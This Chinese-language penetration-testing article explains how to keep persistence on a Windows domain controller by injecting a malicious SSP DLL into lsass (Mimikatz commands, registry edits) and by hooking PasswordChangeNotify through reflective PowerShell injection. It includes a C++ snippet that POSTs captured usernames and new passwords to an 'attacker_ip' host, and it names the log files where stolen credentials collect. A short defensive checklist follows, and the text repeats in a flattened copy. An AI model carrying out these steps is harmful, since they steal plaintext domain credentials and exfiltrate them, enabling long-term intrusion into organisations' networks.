浅谈域控权限维持
字数 2551 2025-08-09 15:23:10

域控权限维持技术详解:SSP与PasswordChangeNotify Hook

前言

在渗透测试中,获取域控制器(Domain Controller)权限往往只是开始而非结束。为了长期保持对目标网络的控制,攻击者需要实施有效的权限维持技术。本文将深入探讨两种关键的域控权限维持方法:SSP(安全支持提供者)注入和PasswordChangeNotify Hook技术。

SSP权限维持技术

SSP基础概念

SSP (Security Support Provider)即安全支持提供者,是一个DLL文件,用于实现Windows系统中的身份验证机制。Windows系统包含多个内置SSP:

  • NTLMSSP (msv1_0.dll)
  • Kerberos (kerberos.dll)
  • NegotiateSSP (secur32.dll)
  • Secure Channel (schannel.dll)
  • TLS/SSL
  • Digest SSP (wdigest.dll)
  • CredSSP (credssp.dll)
  • DPA (msapsspc.dll)
  • Public Key Cryptography User-to-User (PKU2U, pku2u.dll)

SSPI (Security Support Provider Interface)是SSP的API接口,为应用程序提供统一的安全认证接口。

LSA (Local Security Authority)是Windows的安全核心组件,负责执行系统安全策略,包括用户登录验证和密码管理。lsass.exe是LSA的进程表现形式。

SSP权限维持原理

攻击者通过向LSA注入自定义的恶意SSP DLL,可以获取lsass.exe进程中的明文凭据。即使目标用户更改密码,攻击者仍能捕获新密码。这种技术需要SYSTEM权限才能实施。

实施方法

方法一:注册表注入(持久化)

  1. 将恶意SSP DLL(如mimikatz的mimilib.dll)复制到目标系统的C:\Windows\System32\目录
  2. 修改注册表:
    HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\Security Packages\
    
    在"Security Packages"项下添加你的DLL名称
  3. 重启系统使更改生效
  4. 登录凭据将被记录在C:\Windows\System32\kiwissp.log

缺点:需要重启系统,动作较大容易被发现。

方法二:内存注入(非持久化)

使用Mimikatz进行内存注入:

privilege::debug
misc::memssp

凭据将被记录在C:\Windows\System32\mimilsa.log

特点

  • 无需重启系统
  • 重启后失效,需要重新注入
  • 隐蔽性较好

PasswordChangeNotify Hook技术

技术原理

PasswordChangeNotify是Windows提供的API,当域用户密码被修改时,LSA会:

  1. 首先调用PasswordFilter函数检查新密码复杂度
  2. 如果符合要求,则调用PasswordChangeNotify同步更新密码

攻击者可以Hook这个API,将执行流重定向到自定义函数,从而捕获密码更改事件中的新密码。

技术优势

  • 无需修改注册表
  • 无需重启系统
  • 隐蔽性高
  • 能捕获所有密码更改操作

实施步骤

  1. 编译Hook DLL

    • 使用提供的项目(如clymb3r/Misc-Windows-Hacking)
    • 设置为"在静态库中使用MFC"编译
    • 生成HookPasswordChange.dll
  2. DLL注入
    使用PowerShell反射注入:

    Set-ExecutionPolicy bypass
    Import-Module .\Invoke-ReflectivePEInjection.ps1
    Invoke-ReflectivePEInjection -PEPath HookPasswordChange.dll -procname lsass
    
  3. 获取凭据
    密码更改后,新凭据会被记录在:

    • 默认位置:C:\Windows\Temp\passwords.txt
    • 可自定义输出位置和格式

高级应用:HTTP外传凭据

修改HookPasswordChange.cpp,添加HTTP发送功能:

HINTERNET hInternet = InternetOpen(L"Mozilla/4.0...", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
HINTERNET hSession = InternetConnect(hInternet, L"attacker_ip", 80, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0);
HINTERNET hReq = HttpOpenRequest(hSession, L"POST", L"/", NULL, NULL, NULL, 0, 0);
InternetSetOption(hSession, INTERNET_OPTION_USERNAME, UserName->Buffer, UserName->Length/2);
InternetSetOption(hSession, INTERNET_OPTION_PASSWORD, NewPassword->Buffer, NewPassword->Length/2);
HttpSendRequest(hReq, NULL, 0, pBuf, strlen(pBuf));

技术对比

特性 SSP注册表注入 SSP内存注入 PasswordChangeNotify Hook
需要重启
持久性
隐蔽性
实现复杂度
捕获密码更改
捕获普通登录

防御建议

  1. 监控lsass.exe的异常DLL加载
  2. 审计注册表中LSA相关项的更改
  3. 限制对lsass.exe的访问权限
  4. 启用LSA保护(Windows 10+)
  5. 监控PowerShell的异常使用
  6. 定期检查系统目录下的可疑文件

参考资源

  1. Mimikatz SSP实现
  2. Hook PasswordChangeNotify项目
  3. PowerShell反射注入脚本
  4. Microsoft官方文档

通过深入理解这些技术原理和实施方法,安全团队可以更好地防御此类高级持久化攻击,而渗透测试人员则可以更有效地评估企业网络的安全性。

域控权限维持技术详解:SSP与PasswordChangeNotify Hook 前言 在渗透测试中,获取域控制器(Domain Controller)权限往往只是开始而非结束。为了长期保持对目标网络的控制,攻击者需要实施有效的权限维持技术。本文将深入探讨两种关键的域控权限维持方法:SSP(安全支持提供者)注入和PasswordChangeNotify Hook技术。 SSP权限维持技术 SSP基础概念 SSP (Security Support Provider)即安全支持提供者,是一个DLL文件,用于实现Windows系统中的身份验证机制。Windows系统包含多个内置SSP: NTLMSSP (msv1_ 0.dll) Kerberos (kerberos.dll) NegotiateSSP (secur32.dll) Secure Channel (schannel.dll) TLS/SSL Digest SSP (wdigest.dll) CredSSP (credssp.dll) DPA (msapsspc.dll) Public Key Cryptography User-to-User (PKU2U, pku2u.dll) SSPI (Security Support Provider Interface)是SSP的API接口,为应用程序提供统一的安全认证接口。 LSA (Local Security Authority)是Windows的安全核心组件,负责执行系统安全策略,包括用户登录验证和密码管理。lsass.exe是LSA的进程表现形式。 SSP权限维持原理 攻击者通过向LSA注入自定义的恶意SSP DLL,可以获取lsass.exe进程中的明文凭据。即使目标用户更改密码,攻击者仍能捕获新密码。这种技术需要SYSTEM权限才能实施。 实施方法 方法一:注册表注入(持久化) 将恶意SSP DLL(如mimikatz的mimilib.dll)复制到目标系统的 C:\Windows\System32\ 目录 修改注册表: 在"Security Packages"项下添加你的DLL名称 重启系统使更改生效 登录凭据将被记录在 C:\Windows\System32\kiwissp.log 缺点 :需要重启系统,动作较大容易被发现。 方法二:内存注入(非持久化) 使用Mimikatz进行内存注入: 凭据将被记录在 C:\Windows\System32\mimilsa.log 特点 : 无需重启系统 重启后失效,需要重新注入 隐蔽性较好 PasswordChangeNotify Hook技术 技术原理 PasswordChangeNotify 是Windows提供的API,当域用户密码被修改时,LSA会: 首先调用 PasswordFilter 函数检查新密码复杂度 如果符合要求,则调用 PasswordChangeNotify 同步更新密码 攻击者可以Hook这个API,将执行流重定向到自定义函数,从而捕获密码更改事件中的新密码。 技术优势 无需修改注册表 无需重启系统 隐蔽性高 能捕获所有密码更改操作 实施步骤 编译Hook DLL : 使用提供的项目(如clymb3r/Misc-Windows-Hacking) 设置为"在静态库中使用MFC"编译 生成HookPasswordChange.dll DLL注入 : 使用PowerShell反射注入: 获取凭据 : 密码更改后,新凭据会被记录在: 默认位置: C:\Windows\Temp\passwords.txt 可自定义输出位置和格式 高级应用:HTTP外传凭据 修改HookPasswordChange.cpp,添加HTTP发送功能: 技术对比 | 特性 | SSP注册表注入 | SSP内存注入 | PasswordChangeNotify Hook | |---------------------|---------------------|--------------------|---------------------------| | 需要重启 | 是 | 否 | 否 | | 持久性 | 是 | 否 | 否 | | 隐蔽性 | 低 | 中 | 高 | | 实现复杂度 | 低 | 低 | 中 | | 捕获密码更改 | 否 | 否 | 是 | | 捕获普通登录 | 是 | 是 | 否 | 防御建议 监控lsass.exe的异常DLL加载 审计注册表中LSA相关项的更改 限制对lsass.exe的访问权限 启用LSA保护(Windows 10+) 监控PowerShell的异常使用 定期检查系统目录下的可疑文件 参考资源 Mimikatz SSP实现 Hook PasswordChangeNotify项目 PowerShell反射注入脚本 Microsoft官方文档 通过深入理解这些技术原理和实施方法,安全团队可以更好地防御此类高级持久化攻击,而渗透测试人员则可以更有效地评估企业网络的安全性。